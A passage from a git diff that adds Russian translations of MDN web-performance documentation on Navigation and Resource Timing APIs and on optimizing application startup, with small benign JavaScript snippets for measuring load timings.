+ <a href="https://developer.mozilla.org/en-US/docs/Web/API/IntersectionObserver">Intersection Observers</a> позволяют вам узнать, как наблюдаемый вами элемент входит или выходит из зоны видимости браузера (viewport).</p>
+
+<p><strong>Обработчики событий (Event handlers)</strong><br>
+ Intersection Observer API - относительно молодая технология, которая может не поддерживаться некоторыми устаревшими браузерами.<strong> </strong>Если поддержка браузеров важна для вас, есть несколько способов получить её:</p>
+
+<ul>
+ <li><a href="https://github.com/w3c/IntersectionObserver">polyfill intersection observer</a></li>
+ <li>вы можете вычислять, находится ли элемент во viewport каждый раз при срабатывании событий scroll, resize или orientation change.</li>
+</ul>
+
+<h2 id="Смотри_также">Смотри также</h2>
+
+<ul>
+ <li><a href="https://developers.google.com/web/fundamentals/performance/critical-rendering-path/render-blocking-css">Render blocking CSS</a></li>
+ <li><a href="https://developers.google.com/web/fundamentals/performance/optimizing-content-efficiency/webfont-optimization#optimizing_loading_and_rendering">Optimizing loading and rendering</a></li>
+ <li><a href="https://developers.google.com/web/fundamentals/performance/lazy-loading-guidance/images-and-video">Lazy loading images and video</a></li>
+</ul>
+
+<dl>
+</dl>
diff --git a/files/ru/web/performance/navigation_and_resource_timings/index.html b/files/ru/web/performance/navigation_and_resource_timings/index.html
new file mode 100644
index 0000000000..91cf4781b9
--- /dev/null
+++ b/files/ru/web/performance/navigation_and_resource_timings/index.html
@@ -0,0 +1,321 @@
+---
+title: Время загрузки страницы и ресурсов
+slug: Web/Performance/Navigation_and_resource_timings
+tags:
+  - Производительность
+translation_of: Web/Performance/Navigation_and_resource_timings
+---
+<p><span class="seoSummary"><strong>Тайминги навигации (Navigation timings) </strong>- это показатели, указывающие временные метки, в которые произошли события навигации. <strong>Тайминги ресурсов (Resource timings) </strong>- это детальные показатели по времени загрузки ресурсов. </span></p>
+
+<p>В этой статье мы рассмотрим как <a href="/en-US/docs/Web/API/PerformanceTiming">Performance Timing API</a>, так и Performance Entry API. И хотя первый API считается устаревшим, он все ещё поддерживается всеми браузерами, он прост и о нем полезно знать. В свою очередь, Performance Entry API является более продвинутым инструментом, который позволяет не только получить более сложные данные, но и позволяет разработчику измерять другие показатели, в дополнение к данным о навигации и загрузке ресурсов.</p>
+
+<h2 id="Performance_Timing_API"><strong>Performance Timing</strong> API</h2>
+
+<p><a href="/en-US/docs/Web/API/PerformanceTiming">PerformanceTiming API</a> - это JavaScript API для измерения времени загрузки страницы. Этот API считается устаревшим, но поддерживается во всех браузерах. На текущий момент рекомендуется использовать <a href="/en-US/docs/Web/API/PerformanceNavigationTiming">performanceNavigationTiming</a> API.</p>
+
+<p><a href="/en-US/docs/Web/API/PerformanceTiming">PerformanceTiming API </a>предоставляет собой read only данные в виде объекта, где значениями полей являются числа, указывающие на количество миллисекунд, которые прошли к моменту срабатывания того или иного события. Как показано на изображении ниже, процесс навигации можно разбить на следующие этапы: <code><a href="/en-US/docs/Web/API/PerformanceTiming/navigationStart">navigationStart</a></code>, <code><a href="/en-US/docs/Web/API/PerformanceTiming/unloadEventStart">unloadEventStart</a></code>, <code><a href="/en-US/docs/Web/API/PerformanceTiming/unloadEventEnd">unloadEventEnd</a></code>, <code><a href="/en-US/docs/Web/API/PerformanceTiming/redirectStart">redirectStart</a></code>, <code><a href="/en-US/docs/Web/API/PerformanceTiming/redirectEnd">redirectEnd</a></code>, <code><a href="/en-US/docs/Web/API/PerformanceTiming/fetchStart">fetchStart</a></code>, <code><a href="/en-US/docs/Web/API/PerformanceTiming/domainLookupStart">domainLookupStart</a></code>, <code><a href="/en-US/docs/Web/API/PerformanceTiming/domainLookupEnd">domainLookupEnd</a></code>, <a href="/en-US/docs/Web/API/PerformanceTiming/connectStart">c<code>onnectStart</code></a> , <code><a href="/en-US/docs/Web/API/PerformanceTiming/connectEnd">connectEnd</a></code>, <code><a href="/en-US/docs/Web/API/PerformanceTiming/secureConnectionStart">secureConnectionStart</a></code>, <code><a href="/en-US/docs/Web/API/PerformanceTiming/requestStart">requestStart</a></code>, <code><a href="/en-US/docs/Web/API/PerformanceTiming/responseStart">responseStart</a></code>, <code><a href="/en-US/docs/Web/API/PerformanceTiming/responseEnd">responseEnd</a></code>, <code><a href="/en-US/docs/Web/API/PerformanceTiming/domLoading">domLoading</a></code>, <code><a href="/en-US/docs/Web/API/PerformanceTiming/domInteractive">domInteractive</a></code>, <code><a href="/en-US/docs/Web/API/PerformanceTiming/domContentLoadedEventStart">domContentLoadedEventStart</a></code>, <code><a href="/en-US/docs/Web/API/PerformanceTiming/domContentLoadedEventEnd">domContentLoadedEventEnd</a></code>, <code><a href="/en-US/docs/Web/API/PerformanceTiming/domComplete">domComplete</a></code>, <code><a href="/en-US/docs/Web/API/PerformanceTiming/loadEventStart">loadEventStart</a></code>, и <code><a href="/en-US/docs/Web/API/PerformanceTiming/loadEventEnd">loadEventEnd</a></code>.</p>
+
+<p><img alt="Navigation Timing event metrics" src="https://mdn.mozillademos.org/files/16620/Screen_Shot_2019-05-03_at_1.06.27_PM.png"></p>
+
+<p>Благодаря этим метрикам и небольшим вычислениям мы можем определить важные показатели, например <a href="/en-US/docs/Glossary/time_to_first_byte">время до первого байта (time to first byte</a>), скорость загрузки страницы, поиска записи dns и даже узнать, является ли соединение безопасным.</p>
+
+<p>Чтобы получить доступ к этим данным, обратитесь к следующему объекту:</p>
+
+<pre>let time = window.performance.timing</pre>
+
+<p>Мы можем использовать эти данные, чтобы понять, как быстро работает приложение:</p>
+
+<p><img alt="entering window.performance.timing in the console lists all the timings in the PerformanceNavigationTiming interface" src="https://mdn.mozillademos.org/files/16824/navigatortiming.png"></p>
+
+<p>Описание показателей:</p>
+
+<table>
+ <thead>
+  <tr>
+   <th>Показатель</th>
+   <th>Пояснение</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{domxref("PerformanceTiming.navigationStart","navigationStart")}}</td>
+   <td>
+    <p>Момент, когда предыдущий документ в том же контексте (табе) запускает событие unload. Если предыдущего документа не было, значение этого показателя будет таким же, как и <code>PerformanceTiming.fetchStart</code>.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{domxref("PerformanceTiming.secureConnectionStart","secureConnectionStart")}}</td>
+   <td>
+    <p>Началась установка (handshake) безопасного соединения. Если безопасного соединения нет, то значение равно <code>0</code>.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{domxref("PerformanceTiming.redirectStart","redirectStart")}}</td>
+   <td>Начало первого HTTP редиректа. Если никаких редиректов не было, или один из редиректов перевёл документ на другой origin, то значение равно <code>0</code>.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("PerformanceTiming.redirectEnd","redirectEnd")}}</td>
+   <td>
+    <p>Последний HTTP редирект завершён, то есть последний байт HTTP-ответа был получен. Если никаких редиректов не было, или один из редиректов перевёл документ на другой origin, то значение равно <code>0</code>.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <p>{{domxref("PerformanceTiming.connectStart","connectStart")}}</p>
+   </td>
+   <td>
+    <p>Запрос на открытие соединения отправлен в сеть. Если транспортный уровень модели OSI сообщает об ошибке и установка соединения запускаются заново, то возвращается время старта последней попытки соединения. Если используется постоянное соединение, то значение показателя будет таким же, как и <code>PerformanceTiming.fetchStart</code>.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{domxref("PerformanceTiming.connectEnd","connectEnd")}}</td>
+   <td>
+    <p>Момент, когда соединение открыто для передачи данных. Если транспортный уровень модели OSI сообщает об ошибке и установка соединения запускаются заново, то возвращается время  завершения последней попытки соединения. Если используется постоянное соединение, то значение показателя будет таким же, как и <code>PerformanceTiming.fetchStart</code>. Соединение считается открытым, когда завершены все этапы установление безопасного соединения, например TLS Handshake или SOCKS Authentication.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{domxref("PerformanceTiming.domainLookupEnd","domainLookupEnd")}}</td>
+   <td>
+    <p>Поиск домена завершён. Если используется постоянное соединение, или используются данные, сохраненные в локальном кэше, то значение показателя будет таким же, как и <code>PerformanceTiming.fetchStart</code>.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{domxref("PerformanceTiming.domainLookupStart","domainLookupStart")}}</td>
+   <td>Начался поиск домена. Если используется постоянное соединение, или используются данные, сохраненные в локальном кэше, то значение показателя будет таким же, как и <code>PerformanceTiming.fetchStart</code>.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("PerformanceTiming.fetchStart","fetchStart")}}</td>
+   <td>
+    <p>Браузер готов к загрузке документа с помощью HTTP-запроса. Этот этап всегда <strong>срабатывает до проверки</strong> кэша приложения.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{domxref("PerformanceTiming.requestStart","requestStart")}}</td>
+   <td>
+    <p>Браузер посылает запрос на получение документа с сервера или из кэша. Если транспортный уровень сообщает об ошибке отправки запроса, а соединение переоткрывается - этот показатель будет перезаписан данными нового запроса.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{domxref("PerformanceTiming.responseStart","responseStart")}}</td>
+   <td>
+    <p>Браузер получает первый байт ответа от сервера, кэша или локального ресурса.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{domxref("PerformanceTiming.responseEnd","responseEnd")}}</td>
+   <td>
+    <p>Браузер получает последний байт ответа от сервера, кэша или локального ресурса. Если соединение закрывается раньше получения последнего байта - значение параметра указывает на момент закрытия соединения.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{domxref("PerformanceTiming.domLoading","domLoading")}}</td>
+   <td>
+    <p>Парсер HTML начинает работу. В этот момент {{domxref('Document.readyState')}} изменяется на <code>'loading'</code> и срабатывает событие {{DOMxRef("Document.readystatechange_event", "readystatechange")}}.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{domxref("PerformanceTiming.unloadEventStart","unloadEventStart")}}</td>
+   <td>
+    <p>Срабатывает событие {{DOMxRef("Window.unload_event", "unload")}}&gt;, что говорит о времени, когда предыдущий документ начал выгружаться. Если предыдущего документа не было или переход к текущей странице подразумевал изменение origin (в т.ч. из-за редиректов), значение параметра равно <code>0</code>.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{domxref("PerformanceTiming.unloadEventEnd","unloadEventEnd")}}</td>
+   <td>
+    <p>Обработчик события  <code><a href="/en-US/docs/Web/Events/unload">unload</a></code> завершил свою работу. Если предыдущего документа не было или переход к текущей странице подразумевал изменение origin (в т.ч. из-за редиректов), значение параметра равно <code>0</code>.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{domxref("PerformanceTiming.domInteractive","domInteractive")}}</td>
+   <td>
+    <p>HTML парсер завершил работу над основным документом. В этот момент <a href="/en-US/docs/Web/API/Document/readyState"><code>Document.readyState</code></a> изменяется на <code>'interactive'</code> и срабатывает событие <code><a href="/en-US/docs/Web/Events/readystatechange">readystatechange</a></code></p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{domxref("PerformanceTiming.domContentLoadedEventStart","domContentLoadedEventStart")}}</td>
+   <td>
+    <p>Момент сразу перед тем, как парсер запускает событие <code><a href="/en-US/docs/Web/Events/DOMContentLoaded">DOMContentLoaded</a></code>. Это событие запускается после того, как все скрипты, которые должны исполниться сразу после парсинга, выполнены.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{domxref("PerformanceTiming.domContentLoadedEventEnd","domContentLoadedEventEnd")}}</td>
+   <td>
+    <p>Момент сразу после исполнения всех скриптов, которые должны были исполниться.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{domxref("PerformanceTiming.domComplete","domComplete")}}</td>
+   <td>
+    <p>Парсер HTML завершил работу над основным документом. В этот момент <a href="/en-US/docs/Web/API/Document/readyState"><code>Document.readyState</code></a> изменяется на <code>'complete'</code> и срабатывает событие <code><a href="/en-US/docs/Web/Events/readystatechange">readystatechange</a></code>.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{domxref("PerformanceTiming.loadEventStart","loadEventStart")}}</td>
+   <td>
+    <p>Событие <code><a href="/en-US/docs/Web/Events/load">load</a></code> было отправлено текущему документу. Если это событие на момент измерения не было отправлено документу, значение параметра равно <code>0.</code></p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{domxref("PerformanceTiming.loadEventEnd","loadEventEnd")}}</td>
+   <td>
+    <p>Обработка события <code><a href="/en-US/docs/Web/Events/load">load</a></code> завершена, то есть загрузка завершена. Если это событие ещё не произошло или не было послано документу, значение параметра равно <code>0</code>.</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Вычисление_таймингов">Вычисление таймингов</h3>
+
+<p>Мы можем использовать все эти значения, чтобы вычислить, сколько времени потребовалось на тот или иной этап:</p>
+
+<pre class="brush: js">let
+    dns  = time.domainLookupEnd - time.domainLookupStart,
+    tcp  = time.connectEnd - time.connectStart,
+    ssl != time.<code>secureConnectionStart</code>,</pre>
+
+<h3 id="Время_до_первого_байта">Время до первого байта</h3>
+
+<p><a href="/en-US/docs/Glossary/time_to_first_byte">Время до первого байта (Time to First Byte)</a> - это время между <code>navigationStart</code> и <code>responseStart</code> (момент, когда получен первый байт от сервера / кэша). Доступно в <code>performanceTiming</code> API</p>
+
+<pre class="brush: js">let ttfb = time.responseStart - time.navigationStart;
+</pre>
+
+<h3 id="Время_загрузки_страницы">Время загрузки страницы</h3>
+
+<p><a href="/en-US/docs/Glossary/Page_load_time">Время загрузки страницы (Page load time)</a> - это время между <code>navigationStart</code> и моментом, когда событие <code>load</code> отправлено текущего документу. Доступно только в <code>performanceTiming</code> API</p>
+
+<pre class="brush: js">let pageloadtime = time.loadEventStart - time.navigationStart;</pre>
+
+<h3 id="Время_поиска_записи_DNS">Время поиска записи DNS</h3>
+
+<p>Время поиска записи DNS (DNS lookup) - это время между <code><a href="/en-US/docs/Web/API/PerformanceResourceTiming/domainLookupStart">domainLookupStart</a></code> и <code><a href="/en-US/docs/Web/API/PerformanceResourceTiming/domainLookupEnd">domainLookupEnd</a></code>. Оба эти параметра доступны как в <code>performanceTiming</code>, так и в <code>performanceNavigationTiming</code>.</p>
+
+<pre class="brush: js">let dns  = time.domainLookupEnd - time.domainLookupStart;</pre>
+
+<h3 id="TCP">TCP</h3>
+
+<p>Время установки соединения <a href="/en-US/docs/Glossary/TCP">TCP</a> - это время между началом и окончанием попытки соединения:</p>
+
+<pre class="brush: js">tcp  = time.connectEnd - time.connectStart;</pre>
+
+<h3 id="Установка_безопасного_подключения_SSL_negotiation">Установка безопасного подключения (SSL negotiation)</h3>
+
+<p><code><a href="/en-US/docs/Web/API/PerformanceResourceTiming/secureConnectionStart">secureConnectionStart</a></code> будет равен <code>undefined</code>, если SSL не доступен, <code>0</code> если <a href="/en-US/docs/Glossary/https">https</a> не используется или если временная метка доступна и используется. Другими словами, если безопасное соединение было использовано, то значение<code> secureConnectionStart</code> будет правдиво (<a href="/en-US/docs/Glossary/Truthy">truthy</a>), а время между<code> secureConnectionStart</code> и <code>requestStart</code> будет больше 0.</p>
+
+<pre class="brush: js">ssl = time.requestStart - time.<code>secureConnectionStart;</code></pre>
+
+<h2 id="Performance_Entry_API">Performance Entry API</h2>
+
+<p>Основные показатели производительности, рассмотренные выше, считаются устаревшими, но полностью поддерживаются современными браузерами. Взамен предлагается использовать {{domxref('PerformanceEntry', 'Performance Entry API')}}, который предоставляет инструмент для пометок и измерений времени одновременно с событиями navigation и загрузкой resource. Вы также можете создавать свои маркеры:</p>
+
+<pre class="brush: js">performance.getEntriesByType('navigation').forEach((navigation) =&gt; {
+  console.dir(navigation);
+});
+
+performance.getEntriesByType('resource').forEach((resource) =&gt; {
+  console.dir(resource);
+});
+
+performance.getEntriesByType('mark').forEach((mark) =&gt; {
+  console.dir(mark);
+});
+
+performance.getEntriesByType("measure").forEach((measure) =&gt; {
+  console.dir(measure);
+});
+
+performance.getEntriesByType('paint').forEach((paint) =&gt; {
+  console.dir(paint);
+});
+
+performance.getEntriesByType('frame').forEach((frame) =&gt; {
+  console.dir(frame);
+});</pre>
+
+<p>В некоторых браузерах вы можете использовать<code> performance.getEntriesByType('paint')</code>, чтобы запросить измерения для  <code>first-paint</code> и <code>first-contentful-paint</code>. Мы используем  <code>performance.getEntriesByType('navigation')</code> и  <code>performance.getEntriesByType('resource')</code> для запроса данных по навигации и загрузки ресурсов, соответственно.</p>
+
+<h2 id="Navigation">Navigation</h2>
+
+<p>Когда пользователь запрашивает веб-приложение,<a href="/en-US/docs/Learn/Performance/Populating_the_page:_how_browsers_work"> браузер должен получить некоторые мета-данные</a>, чтобы начать загрузку. Для этого пользовательский агент проходит серию шагов, такие как поиск записи DNS ({{glossary('DNS')}} lookup), TCP рукопожатие {{glossary('TCP handshake')}}, и установку безопасного соединения (SSL negotiation). Как только браузер установил соединение, происходит первый полезный запрос данных на сервера. Как только начинают поступать данные от сервера, браузер начинает парсить полученные данные, строит DOM, CSSOM, создает деревья рендера (render trees), чтобы в конце концов отрендерить страницу. В тот момент, когда браузер перестает парсить входящие данные, документ переходит в интерактивную стадию. Если в документе существуют отложенные к загрузке ресурсы (deferred scripts), которые должны быть обработаны, браузер парсит их. После этого запускается событие <a href="/en-US/docs/">DOMContentLoaded</a>, после которого готовность страницы завершена. Теперь документ может обрабатывать пост-загрузочные задачи. После этого документ маркируется, как полностью загруженный.</p>
+
+<pre>let navigationTimings = performance.getEntriesByType('navigation');</pre>
+
+<p>Метод <code>performance.getEntriesByType('navigation')</code> возвращает массив <a href="/en-US/docs/Web/API/PerformanceEntry">PerformanceEntry</a>, в котором содержатся объекты Navigation Timing.</p>
+
+<p><img alt="The results of when performance.getEntriesByType('navigation'); is entered into the console for this document" src="https://mdn.mozillademos.org/files/16825/perfgentrybytypenavigation.png" style="height: 628px; width: 897px;"></p>
+
+<p>Из этих данных можно многое извлечь. На изображении выше вы видите, что помимо самих таймингов, данные содержат имя документа и некоторую другую полезную информацию.</p>
+
+<pre>let timing = performance.getEntriesByType('navigation')[0];</pre>
+
+<h3 id="Протокол">Протокол</h3>
+
+<p>Мы можем проверить протокол, который используется дл получения ресурсов:</p>
+
+<pre>let protocol = <span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body"><span class="cm-variable">timing</span>.<span class="cm-property">nextHopProtocol</span></span></span></span></pre>
+
+<p>В текущем случае в ответ будет <span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body"><span class="cm-property"><code>h2</code> для <code>http/2</code>.</span></span></span></span></p>
+
+<h3 id="Сжатие">Сжатие</h3>
+
+<p>Чтобы узнать, как эффективно сжимаются данные при передаче, мы можем разделить  <span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body"><code><span class="cm-property">transferSize</span></code><span class="cm-property"> на <code>decodedBodySize</code></span>, а затем вычесть результат из 100%. Для текущей страницы сжатие составляет до 74%.</span></span></span></p>
+
+<pre><span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body"><span class="cm-keyword">let</span> <span class="cm-def">compressionSavings</span> <span class="cm-operator">=</span> <span class="cm-number">1</span> <span class="cm-operator">-</span> (<span class="cm-variable">timing</span>.<span class="cm-property">transferSize</span> <span class="cm-operator">/</span> <span class="cm-variable">timing</span>.<span class="cm-property">decodedBodySize</span>)</span></span></span></pre>
+
+<p><span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body"><span class="cm-number">Мы могли бы использовать</span></span></span></span></p>
+
+<pre><span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body"><span class="cm-keyword">let</span> <span class="cm-def">compressionSavings</span> <span class="cm-operator">= </span><span class="cm-number">1</span> <span class="cm-operator">-</span> (<span class="cm-variable">timing</span>.<span class="cm-property">encodedBodySize</span> <span class="cm-operator">/</span> <span class="cm-variable">timing</span>.<span class="cm-property">decodedBodySize</span>)</span></span></span></pre>
+
+<p><span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body">но <code>transfersize</code> так же включает в себя байты заголовков.</span></span></span></p>
+
+<p>Для сравнение, мы можем посмотреть на вкладку Network, где увидим, что было передано <span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body">22.04KB для файла, который в разархивированном виде занимает 87.24KB. </span></span></span></p>
+
+<p><span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body"><img alt="View of the bytes transferred and the size via the network tab" src="https://mdn.mozillademos.org/files/16826/bytesdownloaded.png" style="height: 107px; width: 709px;"></span></span></span></p>
+
+<p><span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body">Если мы проверим вычисления, то результат получится схожим: </span></span></span><code>1 - (22.04 / 87.24) = 0.747</code>. Тайминги навигации позволяют нам получить такие данные программно.</p>
+
+<p>Обратите внимание, что это данные для одного единственно документа, а не для всех ресурсов вместе взятых. В то же время, длительность загрузки, события-обработчики и тайминиги построения DOM / CSSOM влияют на продолжительность загрузки всего приложения, не только одного конкретного ресурса. Клиентские приложения, выполняющиеся в браузере, могут выглядеть быстрее, если данные объемом 300КБ вы передаете сжатыми до 100КБ, но это все не значит, что JavaScript, CSS или другие медиа-ресурсы не раздувают приложение и не делают его медленее. Проверка уровня сжатия - это очень важно, но не менее важно проверять длительность парсинга ресурсов и время между тем, как завершен DOMContentLoaded и DOM готов к работе. Может случиться так, что время парсинга скриптов и обработка скриптами результатов в основном потоке (main thread) приведет к зависанию интерфейса.</p>
+
+<h3 id="Время_запроса">Время запроса</h3>
+
+<p>API не предоставляет все измерения, которые разработчик хочет получить. Например, как долго продлилось выполнение запроса? Отдельного поля в объекте данных нет. Однако, мы можем использовать измерения, чтобы вычислить то, что нам нужно.</p>
+
+<p>Чтобы определить время ответа, вычтите время старта запроса из времени старта получения ответа. Запрос стартует ровно в тот момент, когда клиент запрашивает ресурс с сервера (или из кэша). Ответ начинается ровно в тот момент, когда клиент получает первый байт.</p>
+
+<pre class="brush: js">request = <a href="/en-US/docs/Web/API/PerformanceNavigationTiming/responseStart"><code>timing.responseStart</code></a> - <a href="/en-US/docs/Web/API/PerformanceNavigationTiming/requestStart"><code>timing.requestStart</code></a></pre>
+
+<h3 id="Длительность_события_загрузки">Длительность события загрузки</h3>
+
+<pre class="brush: js">load = <a href="/en-US/docs/Web/API/PerformanceNavigationTiming/loadEventEnd"><code>timing.loadEventEnd</code> - <code>timing.loadEventStart</code></a> </pre>
+
+<h3 id="DOMContentLoaded_event">DOMContentLoaded event</h3>
+
+<p>Длительность события DOMContentLoaded определяется разностью моментов, когда клиент запускает событие DOMContentLoaded и когда это событие завершено. Старайтесь держать эту величину меньше 50ms - тогда ваш интерфейс будет отзывчивым.</p>
+
+<pre class="brush: js">DOMContentLoaded = <a href="/en-US/docs/Web/API/PerformanceNavigationTiming/domContentLoadedEventEnd"><code>timing.domContentLoadedEventEnd</code></a> - <a href="/en-US/docs/Web/API/PerformanceNavigationTiming/domContentLoadedEventStart"><code>timing.domContentLoadedEventStart</code></a></pre>
+
+<h3 id="Длительность_Duration">Длительность (Duration)</h3>
+
+<p>В объекте данных есть поле Длительность (<code>Duration</code>). Длительность - это разница между <a href="/en-US/docs/Web/API/PerformanceNavigationTiming/loadEventEnd">PerformanceNavigationTiming.loadEventEnd</a> и <a href="/en-US/docs/Web/API/PerformanceEntry/startTime">PerformanceEntry.startTime</a> properties.</p>
+
+<p>Интерфейс PerformanceNavigationTiming, кроме того, дает информацию о том, какой тип навигации вы измеряете, возвращая <code>navigate</code>, <code>reload</code>, <code>back_forward</code> или <code>prerender</code>.</p>
+
+<h2 id="Resource">Resource</h2>
+
+<p>В то время, как тайминги навигации измеряют произодительность загрузки и парсинга основного файла HTML, этот файл служит лишь точкой входа для загрузки других ресурсов. Поэтому нам так же важно знать, как быстро загружаются дополнительные ресурсы. Для измерения этих данных нужно использовать Resource Timing. Большая часть измерений в этом объекте похожи: здесь и поиск домена в DNS, и TCP установка соединения и т.д.</p>
+
+<p><img alt="Graphic of Resource Timing timestamps" src="https://mdn.mozillademos.org/files/12093/ResourceTiming-TimeStamps.jpg"></p>
+
+<p>Для того, чтобы получить эти данные, выполните команду:</p>
+
+<pre class="syntaxbox"><code><span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body"><span class="cm-variable">performance</span>.<span class="cm-property">getEntriesByType</span>(<span class="cm-string">"resource"</span>)</span></span></span></code></pre>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li>{{domxref("PerformanceNavigationTiming")}}</li>
+ <li>{{domxref("PerformanceResourceTiming")}},</li>
+ <li>{{domxref("PerformanceMark")}}</li>
+ <li>{{domxref("PerformanceMeasure")}}</li>
+ <li>{{domxref("PerformancePaintTiming")}}</li>
+</ul>
diff --git a/files/ru/web/performance/optimizing_startup_performance/index.html b/files/ru/web/performance/optimizing_startup_performance/index.html
new file mode 100644
index 0000000000..941c5894a9
--- /dev/null
+++ b/files/ru/web/performance/optimizing_startup_performance/index.html
@@ -0,0 +1,85 @@
+---
+title: Оптимизация запуска
+slug: Web/Performance/Optimizing_startup_performance
+translation_of: Web/Performance/Optimizing_startup_performance
+---
+<div class="summary">
+<p>Часто упускаемый из вида аспект разработки приложений - это скорость запуска приложения. Даже если вы прикладываете много усилий к оптимизации работы приложений, именно этот этап может быть пропущен. Как долго запускается ваше приложение? Создается ли впечатление, что устройство зависает, пока приложение запускается? Все эти симптомы заставляют пользователя считать, что приложение сломано или что-то идет не так. Всегда будет не лишним убедиться, что ваше приложение запускается плавно. В этой статье мы поделимся некоторыми подсказками, которые помогут вам оптимизировать запуск приложения, вне зависимости от того, пишете ли вы его с нуля или работаете над уже существующим.</p>
+</div>
+
+<h2 id="Приятный_запуск">Приятный запуск</h2>
+
+<p>Не имеет значения, какую платформу вы используете, всегда будет правильным обеспечить как можно более быструю загрузку приложения. Так как это наиболее общая проблема, мы не будем заострять на ней внимание здесь. Однако, мы обратим внимание на наибольшую проблему Web-приложений: синхронная загрузка ресурсов. Решением этой проблемы был бы максимальный переход на асинхронную загрузку ресурсов. Это означает, что инициализриующий код не должен запускаться в одно единственном обработчике событий в главном потоке процесса.</p>
+
+<p>Вместо этого, вы можете разбить ваш код так, чтобы часть его обрабатывалась в <a href="/en-US/docs/DOM/Using_web_workers" title="/en-US/docs/DOM/Using_web_workers">Web worker</a>, что выделит его в отдельные фоновые неблокирующие треды (например, запросы данных и их обработка). Затем, все, что должно быть выполнено в основном потоке (например, пользовательские события или рендеринг интерфейса) должно быть разбито на небольшие кусочки так, чтобы обработчик браузера выполнял небольшие куски кода итеративно, а не за один подход. Это позволит ваше приложению выглядеть отзывчивым даже во время первоначальной загрузки.</p>
+
+<p>Почему так важно делать все это асинхронно? Помимо причин, перечисленных выше, подумайте о влиянии, которые оказывают зависшие приложения: пользователь не может отменить запуск, даже если он запустил приложение по ошибке. Если приложение запускается в браузере, пользователь даже не сможет закрыть вкладку. В конечно счете это может привести даже к системным предупреждениям о "медленных скриптах" или "исчерпании памяти". А ведь было время, когда каждая вкладка не работала в отдельном процессе, как сейчас, а потому повисшая вкладка приводила к зависанию всего браузера! Вы должны не просто делать загрузку приложения "мягкой", но и давать пользователю знать о процессе загрузки: показывайте ему прогресс-бары или этапы, которые проходит приложение. Это позволит пользователю убедиться, что приложение не зависло.</p>
+
+<h3 id="Было_бы_желание...">Было бы желание...</h3>
+
+<p>Если вы начинаете ваш проект с нуля, обычно очень легко начать писать код "правильно", делая все изначально асинхронным. Все вычисления при запуски должны выполняться в фоновых потоках, в то время как основной поток должен держаться максимально очищенным от лишних функций. Включайте индикатор прогресса для того, чтобы пользователь знал, что сейчас происходит и не думал, что приложение сломано. В теории, если вы только начинаете разработку приложения - это все должно быть очень просто.</p>
+
+<p>С другой стороны, потребуются некоторые ухищрения, если вы пытаетесь портировать существующее десктопное приложение в Web или привыкли писать такие. Десктопные приложения обычно не нуждаются в написании кода в асинхронной манере, потому что операционная система берет заботу об этом на себя. В исходниках такого приложения может быть лишь один поток обработки кода, но даже он может быть легко разбит на асинхронные этапы (запуском каждой новой итерации потока по отдельности). В таких приложениях запуск часто представляет собой последовательную монолитную процедуру, которая время от времени обращается к метрикам прогресса и обновляет их.</p>
+
+<p>И хотя вы можете использовать <a href="/en-US/docs/DOM/Using_web_workers" title="/en-US/docs/DOM/Using_web_workers">Web workers</a>, чтобы обработать очень большие и "тяжелые" скрипты асинхронно, вы должны учитывать некоторые ограничения. Web Worker-ы не имеют доступа к некоторым API браузера: DOM, <a href="/en-US/docs/WebGL" title="/en-US/docs/WebGL">WebGL</a> или audio, они не могут посылать синхронные сообщения в основной поток, вы даже не можете проксировать некоторые из этих API в основной поток. Это всё означает, что вы можете поместить в Web Worker-ы только "чистые функции", но вам все равно придется вычислять огромную часть данных в основном потоке. Поэтому очень полезно разрабатывать систему так, чтобы в ней было как можно больше чистых функций - так их будет проще делегировать  последствии.</p>
+
+<p>Тем не менее, даже код в основном потоке можно сделать асинхронным, приложив лишь небольшие усилия.</p>
+
+<h2 id="Переход_к_асинхронности">Переход к асинхронности</h2>
+
+<p>Есть несколько предложений, как сделать процесс загрузки асинхронным:</p>
+
+<ul>
+ <li>Используйте атрибуты {{ htmlattrxref("defer") }} или {{ htmlattrxref("async") }} на тегах script. Это позволит HTML парсерам продолжать парсинг документа, вместо того, чтобы переключаться на скачивание / парсинг / выполнение скриптов.</li>
+ <li>Если вам нужно декодировать какой-то ресурс (например, JPEG для превращения его в текстуру в WebGL), делайте это в Worker-ах.</li>
+ <li>Когда вы имеете дело с данными, поддерживаемыми браузером, используйте встроенные декодеры, а не пишите свои. Это касается, например, декодинга изображений / видео. Производители браузеров стараются применять лучшие техники, наиболее совместимые с их кодовой базой. Кроме того, многие браузеры поддерживают параллельное выполнение таких обработчиков.</li>
